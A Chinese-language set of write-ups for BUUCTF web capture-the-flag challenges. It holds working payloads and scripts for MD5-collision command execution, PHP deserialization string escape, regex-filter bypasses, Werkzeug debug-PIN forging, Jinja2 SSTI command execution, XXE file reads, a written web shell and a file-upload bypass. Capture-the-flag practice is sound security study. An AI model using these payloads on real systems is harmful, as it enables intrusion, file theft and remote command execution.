尝试读取源码

image-20260211000205537

将编码的index.php

传参给img,查看源码,将编码的文字解码得到源码

+++

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

分析

1
2
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;

MD5强比较,如果传入的是数组结果就都转换成array了,所以不能数组绕过,让两个值MD5加密后相同

payload

1
2
3
?img=&cmd=l\s%20/

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

image-20260211000212939

payload

1
?img=&cmd=ca\t%20/f\lag

image-20260211000217795

[BSidesCF 2019]Kookie

image-20260211000221738

尝试密码登录,利用弱口令爆破没有用,就想到题目描述是cookie,利用cookie登录

1
uesername=admin

image-20260211000225474

[安洵杯 2019]easy_serialize_php

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 <?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

根据提示查看phpinfo,得到了flag所在的d0g3_f1ag.php,base64编码ZDBnM19mMWFnLnBocA==

image-20260211000232058

代码审计

1
echo file_get_contents(base64_decode($userinfo['img']))

可以进行任意文件读取

GET传参payload

1
?f=show_image

POST传参构造payload

1
_SESSION['flagflag']=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

image-20260211000236535

更改POST传参

1
_SESSION['flagflag']=";s:3:"aaa";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

[强网杯 2019]高明的黑客

image-20260211000240300

查看/www.tar.gz,下载到网页源码

image-20260211000243963

解压缩后的文件里有很多php文件,随便点一个查看

image-20260211000248242

这是代码中的一部分,像是可以利用的

利用一个exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
import os

import re

import time

import threading

import requests

from tqdm import tqdm



thread_ = threading.Semaphore(30) # 设置最大线程数 ,别设置太大,不然还是会崩的

requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接

session = requests.Session()

session.keep_alive = False # 设置连接活跃状态为False



buu_url = "http://e8e8fd89-4662-41f3-8e06-47a39e6d8155.node5.buuoj.cn:81/"

filePath = r"D:\ctf_file\src"

os.chdir(filePath)

files = os.listdir(filePath)

flags = []



rrGET = re.compile(r"\$_GET\[\'(\w+)\'\]") # 匹配get参数

rrPOST = re.compile(r"\$_POST\[\'(\w+)\'\]") # 匹配post参数



def getflag(file):

print("[+]checking file:%s" % (file))

thread_.acquire()

url = buu_url + "/" + file

with open(file, encoding='utf-8') as f:

gets = list(rrGET.findall(f.read()))

posts = list(rrPOST.findall(f.read()))

for g in gets:

print("[++]checking %s" % (g))

time.sleep(0.02)

res = session.get(url + "?%s=%s" % (g, "echo ------"))

if "------" in res.text:

flag = "fileName=%s, param=%s" % (file, g)

flags.append(flag)



for p in posts:

print("[++]checking %s" % (p))

res = session.post(url, data={p:"echo ------"})

if "------" in res.text:

flag = "fileName=%s, param=%s" % (file, g)

flags.append(flag)



thread_.release()



if __name__ == '__main__':

start_time = time.time()

thread_list = []

for file in tqdm(files):

t = threading.Thread(target=getflag, args=(file,))

thread_list.append(t)



for t in thread_list:

t.start()

for t in thread_list:

t.join()



print(flags)

end_time = time.time()

print("[end]程序结束:用时(秒):"+str(end_time-start_time))

[GWCTF 2019]我有一个数据库

image-20260211000254480

这里看到什么都没有,就想到爬虫看一下

image-20260211000259527

有一个phpinfo.php,查看一下,发现也没有什么,因为是BUU不太好扫目录,就看了wp说还有一个/phpmyadmin目录,访问发现是一个数据库的页面

image-20260211000303414

就去网上找关于这个的漏洞

https://blog.csdn.net/m0_64481831/article/details/139232853

发现了本地文件包含漏洞(CVE-2018-12613),尝试给出的POC

image-20260211000314924

发现可以实现

[FBCTF2019]RCEService

考点:json格式,代码审计,rce绕过,正则回溯绕过

image-20260226165035381

根据提示用json格式写一个命令

payload

1
{"cmd":"ls"}

image-20260226165042003

能看到存在index.php问件,但是怎么样都读不到,就去看了别人的wp说是比赛时题目本身给了附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}

?>

发现正则匹配中过滤了很多东西,看到正则表达式中采用了/^.*格式,可以考虑正则回溯绕过,通过不断增加回溯次数,进行逃逸绕过匹配,但是这种逃逸一般需要post传参方式,因为这里的参数是$_REQUEST['cmd']方式,get和post都能使用

1
2
3
4
5
6
import requests
url = "http://d465fd76-d5a3-4e38-841b-24f3e5b4b294.node5.buuoj.cn:81/"

payload = '{"cmd":"ls /","a":"'+'a'*1000000+'"}'
res = requests.post("http://d465fd76-d5a3-4e38-841b-24f3e5b4b294.node5.buuoj.cn:81/",data = {"cmd":payload})
print (res.text)

在payload后加上100万个字符即可,等匹配超过这个次数时语句自然就可以逃逸,但是注意这里字符数不能过多,否则会返回413请求过多导致无法执行rce

image-20260226165047131

这里没有发现flag文件,尝试读取环境变量

也没有flag,就想到用find/ -name flag的命令查找flag

的位置,但发现find命令不能用

1
putenv('PATH=/home/rceservice/jail');

就注意到这行代码,它是用来设置环境变量PATH的值为/home/rceservice/jail,意味着我们无法直接调用find和cat命令/home/rceservice/jail,因为这些命令实际上是存放在特定目录中封装好的程序,PATH环境变量就是存放这些特定目录的路径方便我们去直接调用这些命令,所以此处部分命令需要使用其存放的绝对路径去调用

可以在自己的Linux系统里面输出查找一下find命令在哪

image-20260226165051926

重新构造payload

1
payload = '{"cmd":"/usr/bin/find / -name flag", "abc":"'+'a'*1000000+'"}'

image-20260226165056048

得到了flag的路径

同样的道理再查看cat命令

image-20260226165103575

payload

1
payload = '{"cmd":"/bin/cat /home/rceservice/flag", "abc":"'+'a'*1000000+'"}'

image-20260226165107236

这道题也可以利用%0a来绕过

正则表达式是 ^…$ 格式 如果没有修饰符m 那么^只会匹配第一行的内容,可以利用%0a换行符绕过

而且这里还用了.* 贪婪匹配 也没有修饰符s 所以 .* 也不会匹配换行符%0a

那么只需传入换行符%0a,那么就可以绕过 .* 从而绕过正则匹配

payload

1
?cmd={%0a"cmd":"/bin/cat /home/rceservice/flag"%0a} 

此时.* 匹配 { 而\x00-\x1F 匹配了第一个%0a 但是最后的 .* 不能匹配换行符,因此也匹配不到换行后的 } 所以不能匹配到完整字符串,返回值为空,完成正则绕过

其他构造方式

1
%0a{"cmd":"/bin/cat /home/rceservice/flag"}

此时第一个.* 匹配的不是空null, 是空字符串””,因为*可以匹配0次或多次, \x00-\x1F 匹配了%0a 最后的.*匹配到字符串结束 从而也会匹配成功

1
2
3
?cmd=%0a{%0a"cmd":"/bin/cat /home/rceservice/flag"}
?cmd=%0a{"cmd":"/bin/cat /home/rceservice/flag"%0a}
?cmd=%0a{"cmd":"/bin/cat /home/rceservice/flag"}%0a%0a

[Zer0pts2020]Can you guess it?

考点:代码审计,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}

源码中可以知道flag就在config.php中,注意到hash_equals($secret, $guess),发现这个的绕过是行不通的,该函数并没有漏洞也没有使用错误

注意到这串代码区别于其他常见的php代码没有使用简洁的__FILE__而是采用basename函数截取$_SERVER['PHP_SELF'],所以这里才是本题的利用点

1
2
3
4
5
6
7
8
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

$_SERVER['PHP_SELF']会获取到当前的访问路径,并且PHP在解析URL时会忽略掉多余的额部分,例如要访问存在的index.php路径,则以下两种路径均能访问到

1
2
/index.php
/index.php/dosent_exist.php #即忽略掉了后面这个不存在的部分

basename可以理解为对传入的参数路径截取最后一段作为返回值,但是该函数发现最后一段为不可见字符时会退取上一层的目录

1
2
3
4
$var1="/config.php/test"
basename($var1) => test
$var2="/config.php/%ff"
basename($var2) => config.php

所以只要通过构造payload使得basename截取到/config.php即可

payload

1
/index.php/config.php/%ff?source

利用$_SERVER['PHP_SELF']获取当前访问路径,再通过basename进行截取

image-20260226145103538

[watevrCTF-2019]Cookie Store

image-20260226165114930

看到是这个购买页面,尝试抓包

image-20260226165119335

看到cookie值中有money的信息尝试修改

image-20260226165124475

发现其实可以直接用浏览器中的插件执行

image-20260226165128684

然后进行购买,但发现点那个购买键买不了,看了看源码

image-20260226165132991

是要再/buy路径下

image-20260226165137525

[0CTF 2016]piapiapia

考点:源码泄露,代码审计,反序列化,吞字符绕过

image-20260226165145138

发现时源码泄露,访问/www.zip

image-20260226165149325

发现有注册界面,注册后就能登录但得满足username和password的长度都大于3小于16

image-20260226165153878

config.php

1
2
3
4
5
6
7
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>

发现flag在config.php文件中,所以我们要尝试读取config.php

profile.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>

在这里发现了任意文件读取的漏洞

同时这里对nickname进行了两次过滤

在update.php中注意到nickname需要是数组

1
2
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

对nickname进行关键字过滤

1
2
3
4
5
6
7
8
9
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}

这里只有where是五个字符,其余均为6字符,替换为hacker六字符,考虑可否通过此处吞掉多余的字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function filter($string){
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
$a=array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}');
$profile['phone']='12345678901';
$profile['email']='1@qq.com';
$profile['nickname']=$a;
$profile['photo']='upload/A7C3CE076585477741D951D179AB07DC';

var_dump(filter(serialize($profile)));

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
POST /update.php HTTP/1.1
Host: fba7b643-bf99-4632-b746-cb2f7f46f011.node5.buuoj.cn:81
Content-Length: 98801
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://fba7b643-bf99-4632-b746-cb2f7f46f011.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYm2D6aMEAva3GaAh
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://fba7b643-bf99-4632-b746-cb2f7f46f011.node5.buuoj.cn:81/update.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=d42bc177cedab628276fcf573c99d532
Connection: keep-alive

------WebKitFormBoundaryYm2D6aMEAva3GaAh
Content-Disposition: form-data; name="phone"

12345678901
------WebKitFormBoundaryYm2D6aMEAva3GaAh
Content-Disposition: form-data; name="email"

1@qq.com
------WebKitFormBoundaryYm2D6aMEAva3GaAh
Content-Disposition: form-data; name="nickname[]"

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
------WebKitFormBoundaryYm2D6aMEAva3GaAh
Content-Disposition: form-data; name="photo"; filename="1.jpg"
Content-Type: image/jpeg

ÿØÿà

重新构造payload上传,然后放行

image-20260226165202776

image-20260226165206635

但是好像有点问题

[GYCTF2020]FlaskApp

考点:pin码,SSTI

传参e3s3Kzd9fQ==,解码后得到的结果发现是存在SSTI,用的模板是jinjia2

image-20260303144937558

在hint提示的源码中可以看到有PIN,所以考察的可能是pin码

image-20260303145154408

在解密栏任意输入看到可以触发debug模式

image-20260303145402536

读取/etc/passwd

payload(需对其进行base64加密)

1
{{ url_for.__globals__.__builtins__.open('/etc/passwd').read() }}

image-20260309183807203

读取到系统用户名username为flaskweb

  • appname:应用名称(固定为Flask)

  • modename:模块名称(固定为flask.app)

  • 应用文件路径moddir(从系统报错信息中获取)

    image-20260309184239342

  • uuid:MAC地址(读取到的值需要去掉斜杠转成十进制)

    读取路径

    1
    /sys/class/net/eth0/address

    image-20260309192847299

    1
    3e:c7:a1:da:8a:d1

    转成十进制

    1
    2
    3
    mac = "3e:c7:a1:da:8a:d1"
    print(int(mac.replace(':', ''), 16))
    #print(int('0a5593825677', 16))

    image-20260309192843964

    1
    69027134868177
    • machine_id:机器ID(先读/etc/machine-id(无Docker读)、/proc/sys/kernel/random/boot_id(有Docker读),然后读/proc/self/cgroup并取第一行的最后一个斜杠 / 后面的所有字符串,最后和第一个值拼接起来)

    这里读取路径

    1
    2
    /etc/machine-id
    1408f836b0ca514d796cbf8960e45fa1

    用脚本算一下pin码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    import hashlib
    from itertools import chain
    probably_public_bits = [
    'flaskweb'# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
    ]

    private_bits = [
    '69027134868177',# str(uuid.getnode()), /sys/class/net/eth0/address
    '1408f836b0ca514d796cbf8960e45fa1'# get_machine_id(), /etc/machine-id
    ]

    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
    if not bit:
    continue
    if isinstance(bit, str):
    bit = bit.encode('utf-8')
    h.update(bit)
    h.update(b'cookiesalt')

    cookie_name = '__wzd' + h.hexdigest()[:20]

    num = None
    if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

    rv =None
    if rv is None:
    for group_size in 5, 4, 3:
    if len(num) % group_size == 0:
    rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
    for x in range(0, len(num), group_size))
    break
    else:
    rv = num

    print(rv)

    image-20260309192838290

    然后访问一下/console,输入计算得到的pin码

    image-20260309192834247

    然后就可以执行SSTI了

    image-20260309192830432

[CSCCTF 2019 Qual]FlaskLight

考点:SSTI(无os模块)

image-20260309192825001

查看源码看到是get传参,也给了参数名

测试一下

payload

1
?search={{7*7}}

image-20260309193102770

是SSTI,jinjia2

payload

1
?search={{[].__class__.__base__.__subclasses__()}}

image-20260309200751512

但是找了一遍发现没有os模块

通过查询可知,可以借助类<class’warnings.catch_warnings’>,没有内置os模块在第59位。<class ‘site._Printer’> 内含os模块 在第71位,可以借助这些类来执行命令

最终payload

1
?search={{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}}

image-20260309201337966

[SUCTF 2019]Pythonginx

考点:代码审计,SSRF

image-20260309201805519

[RoarCTF 2019]Easy Java

考点:JAVA,源码泄露

image-20260310183125782

登录界面,点击help查看

发现了Download路由

image-20260310183105629

payload

1
/Download?filename={help.docx}

image-20260310183254326

但发现什么都没有

就想到尝试用POST传参

image-20260310183401606

下载了一个docx文件

image-20260310183437583

文件里面是一行英文,不知道有什么用

因为下载页是java这里考察了java web相关的内容,然后就尝试读取存有web信息的xml文件

payload

1
filename=/WEB-INF/web.xml

image-20260310183835700

image-20260310184025860

这里得到了flag路由

因为还没有学过java就先贴一下网上师傅总结的一些吧

1
2
3
4
5
6
7
WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码

上面首先读取到的是初始化配置信息/WEB-INF/web.xml

其实说明了这个就是JAVA源代码进行编译后所产生的后缀带有.class的东西

下载得到文件用记事本方式打开

image-20260310184238813

得到flag的base64编码解密得到flag

[NPUCTF2020]ReadlezPHP

考点:php反序列化

image-20260310185548721

打开这个吓我一跳,啥也没有就看看源码

image-20260310185525463

找到了一个路径访问一下看到了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 <?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}

@$ppp = unserialize($_GET["data"]);


2026-03-10 10:56:48

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "5";
$this->b = "phpinfo";
}
}
$c = new HelloPhp;

echo serialize($c)

image-20260310190719240

看了一下配置文件发现很多函数都被ban了,但发现assert能用

尝试用assert代替system执行rce

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "system('ls /');";
$this->b = "assert";
}
}
$c = new HelloPhp;

echo serialize($c);

发现还是只能显示时间,不知道为什么

image-20260310191348225

那就只能看看phpinfo能不能直接有flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "phpinfo()";
$this->b = "assert";
}
}
$c = new HelloPhp;

echo serialize($c);

image-20260310191233054

这里得到flag

[b01lers2020]Welcome to Earth

考点:源码泄露,JS分析。感觉这道题就是一直一直一直看源码访问路径,到最后也就给了个乱序的flag,用一个脚本排列组合一下,没什么考察点

image-20260312191836336

刚开始点进去就跳转了这个页面,看了这个页面的源码什么都没有,就试着把/die去掉访问并查看源码

image-20260312191949938

存在两个地址,尝试访问第一个/chase,但发现很快就会跳转到/die,尝试抓包

image-20260312192624621

看到了/leftt路径,访问一下,不知道是什么,就看源码

image-20260312192647384

image-20260312192721625

提示访问/shoot,看到源码继续访问/door

image-20260312192812925

image-20260312192849524

看源码,继续访问/static/js/door.js

image-20260312193030929

看到有一个/open路由

image-20260312193103201

发现居然还有可以访问的/static/js/open_sesame.js

image-20260312193149003

又看到了/fight继续访问

image-20260312193231262

是一个输入框再看一下源码,访问一下他的js文件,看到了被打乱的flag,然后用一个脚本还原一下flag

image-20260312193610033

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// Run to scramble original flag
//console.log(scramble(flag, action));
function scramble(flag, key) {
for (var i = 0; i < key.length; i++) {
let n = key.charCodeAt(i) % flag.length;
let temp = flag[i];
flag[i] = flag[n];
flag[n] = temp;
}
return flag;
}

function check_action() {
var action = document.getElementById("action").value;
var flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"];

// TODO: unscramble function
}

脚本

1
2
3
4
5
6
7
8
9
from itertools import permutations

flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]

item = permutations(flag)
for i in item:
k = ''.join(list(i))
if k.startswith('pctf{hey_boys') and k[-1] == '}':
print(k)

image-20260312193712834

然后就一个个尝试一下发现是第三个

[红明谷CTF 2021]write_shell

考点:rce,waf绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
 <?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}

function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>

代码允许将data内容写入index.php,感觉类似于一个文件上传,然后有很多waf比如空格什么的,绕过这些waf,利用data进行rce

可以知道action传参为pwd输出的是$dir

1
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';

payload

1
?action=pwd

image-20260312194637580

看到了之后访问index.php的完整路径

1
sandbox/1e833b2b9e905399ad5c0640a03817c1/index.php

然后就要利用/upload路径,在index.php中写入内容进行rce

利用<?=标签进行绕过,%09绕过空格

payload

1
?action=upload&data=<?=system("ls%09/")?>

image-20260312200032127

1
?action=upload&data=<?=system("cat%09/flllllll1112222222lag")?>

image-20260312200240625

[WUSTCTF2020]CV Maker

考点:文件上传,幻术头绕过

点开题目找到注册登录的界面,注意这里好像所有注册内容都至少两个字符

image-20260312202117603

登录进去后有一个上传头像的页面就想到了文件上传

image-20260312202039928

利用幻术头绕过

image-20260312202012407

然后蚁剑连接,得到flag

image-20260312202240652

image-20260312202252050

[RootersCTF2019]I_<3_Flask

考点:参数爆破,SSTI

image-20260313000542933

打开就一个这个界面,题目又提示flask就猜测是SSTI但一直没找到利用点,就看了wp,看到要用一个工具Argun爆破http参数的

命令

1
arjun -u http://4e92c7d0-3a79-4f94-a24f-a424f15c33a5.node5.buuoj.cn:81/

image-20260313001724101

爆出来是name,然后就测试一下

image-20260313001920061

发现存在SSTI,是jinjia2的模板,就偷个懒用焚靖一把梭了

image-20260313002014465

[网鼎杯 2020 白虎组]PicDown

考点:文件读取,flask框架

开始是一个输入框,尝试文件读取

payload

1
/etc/passwd

下载了一个图片但点开又看不了图片,就想到用记事本打开看看

image-20260314113629716

查看源码

1
/app/app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
return render_template('search.html')


@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"

return res


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)

尝试读取key

payload

1
/page?url=/proc/self/fd/3

/proc/self/fd/3表示当前进程的 FD=3 对应的文件或资源路径

记事本打开读取到密钥

1
Vu5Sn3waJe9kzH7MbmTW5+jm6UEXwS2D015f7w2dTio=

然后这里就需要进行反弹shell

但是一直有点问题,看了几个wp还是不行

[NCTF2019]True XML cookbook

登陆界面抓包,发现传参处存在xxe

payload

1
<!DOCTYPE  root [<!ENTITY ben SYSTEM "file:///etc/passwd">]><user><username>&ben;</username><password>123</password></user>

image-20260314123735905

能读,再尝试读一下/proc/net/fib_trie

payload

1
<!DOCTYPE  root [<!ENTITY ben SYSTEM "file:////proc/net/fib_trie">]><user><username>&ben;</username><password>123</password></user>

image-20260314124623729

[CISCN2019 华北赛区 Day1 Web2]ikun

考点:pickle反序列化

image-20260314154203599

利用脚本找到lv6在第几页

1
2
3
4
5
6
7
8
9
10
import requests
url = 'http://7cac9626-c9d0-4f94-8e4f-3de3cf329045.node5.buuoj.cn:81/shop?page='
for i in range(0,2000):
urls = url + str(i)
rs = requests.get(urls)
print("\r", end="")
print('已检测到' + str(i) + '页', end='')
if 'lv6.png' in rs.text:
print('\nlv6在第'+str(i)+'页')
break

image-20260314155400597

